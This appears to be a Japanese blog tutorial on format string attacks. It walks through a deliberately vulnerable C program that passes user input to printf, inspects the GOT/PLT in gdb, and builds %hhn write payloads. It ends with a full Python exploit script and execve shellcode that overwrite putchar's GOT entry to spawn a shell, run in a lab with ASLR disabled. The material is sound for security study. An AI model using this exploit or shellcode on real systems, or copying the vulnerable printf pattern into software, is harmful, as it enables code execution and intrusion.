一つ前のエントリではformat string attackによるメモリ読み出しをやってみたが、format string attackでは任意の位置のメモリ内容を書き換えることもできる。 ここでは、実際にGOT (Global Offset Table) と呼ばれるセクションに置かれるライブラリ関数のアドレスをシェルコードのアドレスに置き換え、シェルを起動させてみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
コマンドライン引数がそのままprintfのフォーマット文字列になっているコードを書く。
/* fsb.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; printf("[+] buf = %p\n", buf); strncpy(buf, argv[1], 100); printf(buf); putchar('\n'); return 0; }
SSP有効、ASLR、DEP無効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc -z execstack fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out AAAA [+] buf = 0xbffff708 AAAA
任意のアドレスにあるメモリ内容を書き換えてみる
printf系関数には%n
指定子というものがあり、これはその時点までに書き出されたバイト数を引数で指定されたアドレスが指すメモリに書き込む。
たとえば、次のような感じである。
char *buffer; int len; printf("%s%n\n", buffer, &len); /* bufferが出力されると同時に、その文字列長がlenに書き込まれる */
一つ前のエントリに書いたように、フォーマット文字列はスタック上にあるため次のように参照可能である。
$ ./a.out 'AAAA%10$08x' [+] buf = 0xbffff6f8 AAAA41414141
つまり、AAAAの代わりに書き換えたいアドレスをセットし、%100c
などで適当な数(ここでは100)だけ文字を出力した上で%10$n
を指定すれば、そのアドレスにあるメモリ4バイトを任意の値に書き換えることができる。
たとえば、0xaabbccddからの4バイトを11 00 00 00
(=17) に書き換えるには次のようにする。
$ ./a.out $'\xdd\xcc\xbb\xaa%13c%10$n' [+] buf = 0xbffff6f8 Segmentation fault (core dumped)
先頭のアドレス指定ですでに4バイト出力しているので%c
で出力させる文字数には目的の数から4引いた数を指定する。
なお、ここでは適当なアドレスを指定しているためセグメント違反で落ちている。
上の方法で4バイト書き換えるとき、文字数をそのまま指定すると大量の文字を出力することになり時間がかかる。
そこで、先頭から1バイトずつ4回に分けて書き換える方法が取られる。
また、%n
の代わりに%hn
を使うと2バイト、%hhn
を使うと1バイトのみの書き換えにすることができる。
ここで出力文字数が書き換えられるバイト長を越えた場合については、上位のバイトが無視される。
上記のことを利用して0xaabbccddからの4バイトを11 22 33 44
で書き換える場合、送り込むフォーマット文字列は次のようになる。
$ python >>> "\xdd\xcc\xbb\xaa" + "\xde\xcc\xbb\xaa" + "\xdf\xcc\xbb\xaa" + "\xe0\xcc\xbb\xaa" \ ... + "%%%dc" % (0x44-16) + "%10$n" \ ... + "%%%dc" % (0x33 - 0x44 + 0x100) + "%11$n" \ ... + "%%%dc" % (0x22 - 0x33 + 0x100) + "%12$n" \ ... + "%%%dc" % (0x11 - 0x22 + 0x100) + "%13$n" '\xdd\xcc\xbb\xaa\xde\xcc\xbb\xaa\xdf\xcc\xbb\xaa\xe0\xcc\xbb\xaa%52c%10$n%239c%11$n%239c%12$n%239c%13$n'
これは、フォーマット文字列までのオフセットが10の場合についての例である。
GOTによるライブラリ関数呼び出しについて調べてみる
コンパイル時に共有ライブラリをダイナミックリンクした場合、共有ライブラリの関数はGOT (Global Offset Table) と呼ばれるジャンプテーブルを介して呼び出される。 この流れを、最初に書いた脆弱性のあるプログラムをgdbで実行することによって確認してみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080484c6 <+50>: call 0x8048380 <printf@plt> ... 0x080484f3 <+95>: call 0x8048380 <printf@plt> ... End of assembler dump. (gdb) disas 0x8048380 Dump of assembler code for function printf@plt: 0x08048380 <+0>: jmp DWORD PTR ds:0x804a000 0x08048386 <+6>: push 0x0 0x0804838b <+11>: jmp 0x8048370 End of assembler dump. (gdb) b *main+50 Breakpoint 1 at 0x80484c6 (gdb) b *main+95 Breakpoint 2 at 0x80484f3 (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA Breakpoint 1, 0x080484c6 in main () (gdb) x/xw 0x804a000 0x804a000 <printf@got.plt>: 0x08048386
printfが呼ばれるとき、まずprintf@pltがcallされ、0x804a000に書かれたアドレスにジャンプするようになっていることがわかる。 最初に書いたコードではprintfが2回呼ばれているが、1回目のときこのアドレスはprintf@pltの2行目である。
(gdb) c Continuing. [+] buf = 0xbffff6f8 Breakpoint 2, 0x080484f3 in main () (gdb) x/xw 0x804a000 0x804a000 <printf@got.plt>: 0xb7e78ed0 (gdb) disas 0xb7e78ed0 Dump of assembler code for function printf: 0xb7e78ed0 <+0>: push ebx 0xb7e78ed1 <+1>: sub esp,0x18 0xb7e78ed4 <+4>: call 0xb7f57d53 0xb7e78ed9 <+9>: add ebx,0x15911b 0xb7e78edf <+15>: lea eax,[esp+0x24] 0xb7e78ee3 <+19>: mov DWORD PTR [esp+0x8],eax 0xb7e78ee7 <+23>: mov eax,DWORD PTR [esp+0x20] 0xb7e78eeb <+27>: mov DWORD PTR [esp+0x4],eax 0xb7e78eef <+31>: mov eax,DWORD PTR [ebx-0x7c] 0xb7e78ef5 <+37>: mov eax,DWORD PTR [eax] 0xb7e78ef7 <+39>: mov DWORD PTR [esp],eax 0xb7e78efa <+42>: call 0xb7e6eab0 <vfprintf> 0xb7e78eff <+47>: add esp,0x18 0xb7e78f02 <+50>: pop ebx 0xb7e78f03 <+51>: ret End of assembler dump. (gdb) c Continuing. AAAA [Inferior 1 (process 7481) exited normally] (gdb) q
2回目のprintfが来るまで処理を進めると、まず1回目のprintfがきちんと呼ばれていることがわかる。 そして、ここで0x804a000に書かれたアドレスを見ると、実際のprintfの関数に書き変わっている。 この仕組みは遅延バインドと呼ばれる。
ここまでの流れから、0x804a000に書かれたアドレスを書き換えれば任意のアドレスにジャンプさせられることがわかる。 実際0x804a000が含まれる.got.pltセクションは書き換え可能になっている。
$ readelf -S a.out There are 30 section headers, starting at offset 0x1148: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [23] .got.plt PROGBITS 08049ff4 000ff4 000024 04 WA 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 ... Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific)
試しにgdbで0x804a000を書き換えてみると、ジャンプ先を変えることに成功していることがわかる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) start Temporary breakpoint 1 at 0x8048497 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048497 in main () (gdb) set {int}0x804a000 = 0xcccccccc (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xcccccccc in ?? () (gdb) quit A debugging session is active. Inferior 1 [process 7493] will be killed. Quit anyway? (y or n) y
エクスプロイトコードを書いてみる
以上の内容をもとに、GOTを書き換えシェルコードにジャンプさせるエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen addr_got = int(sys.argv[1], 16) addr_buf = int(sys.argv[2], 16) index = int(sys.argv[3]) shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" buf = struct.pack('<I', addr_got) buf += struct.pack('<I', addr_got+1) buf += struct.pack('<I', addr_got+2) buf += struct.pack('<I', addr_got+3) buf += shellcode a = map(ord, struct.pack('<I', addr_buf + 16)) a[3] = ((a[3]-a[2]-1) % 0x100) + 1 a[2] = ((a[2]-a[1]-1) % 0x100) + 1 a[1] = ((a[1]-a[0]-1) % 0x100) + 1 a[0] = ((a[0]-len(buf)-1) % 0x100) + 1 buf += "%%%dc%%%d$hhn" % (a[0], index) buf += "%%%dc%%%d$hhn" % (a[1], index+1) buf += "%%%dc%%%d$hhn" % (a[2], index+2) buf += "%%%dc%%%d$hhn" % (a[3], index+3) with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
このコードは、書き換えたいGOTのアドレス、バッファの先頭アドレス、フォーマット文字列までのオフセットを順に引数に取る。 そして、GOTの値をバッファの先頭から16バイト先にあるシェルコードのアドレスに書き換える。
format string attackが行われるのは2回目のprintfであるので、その後にあるputchar関数のGOTの値を書き換えることを考える。 putchar関数のGOTのアドレスとフォーマット文字列までのオフセットをそれぞれ調べ、実行してみる。
$ objdump -d -j.plt a.out 080483c0 <putchar@plt>: 80483c0: ff 25 10 a0 04 08 jmp DWORD PTR ds:0x804a010 80483c6: 68 20 00 00 00 push 0x20 80483cb: e9 a0 ff ff ff jmp 8048370 <_init+0x34> $ ./a.out 'AAAA%10$08x' [+] buf = 0xbffff6f8 AAAA41414141 $ python exploit.py 0x804a010 0xbffff6f8 10 [+] buf = 0xbffff6a8 $ python exploit.py 0x804a010 0xbffff6a8 10 [+] buf = 0xbffff6a8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
GOTの値がスタック上のシェルコードのアドレスに書き変わり、シェルが起動することが確認できた。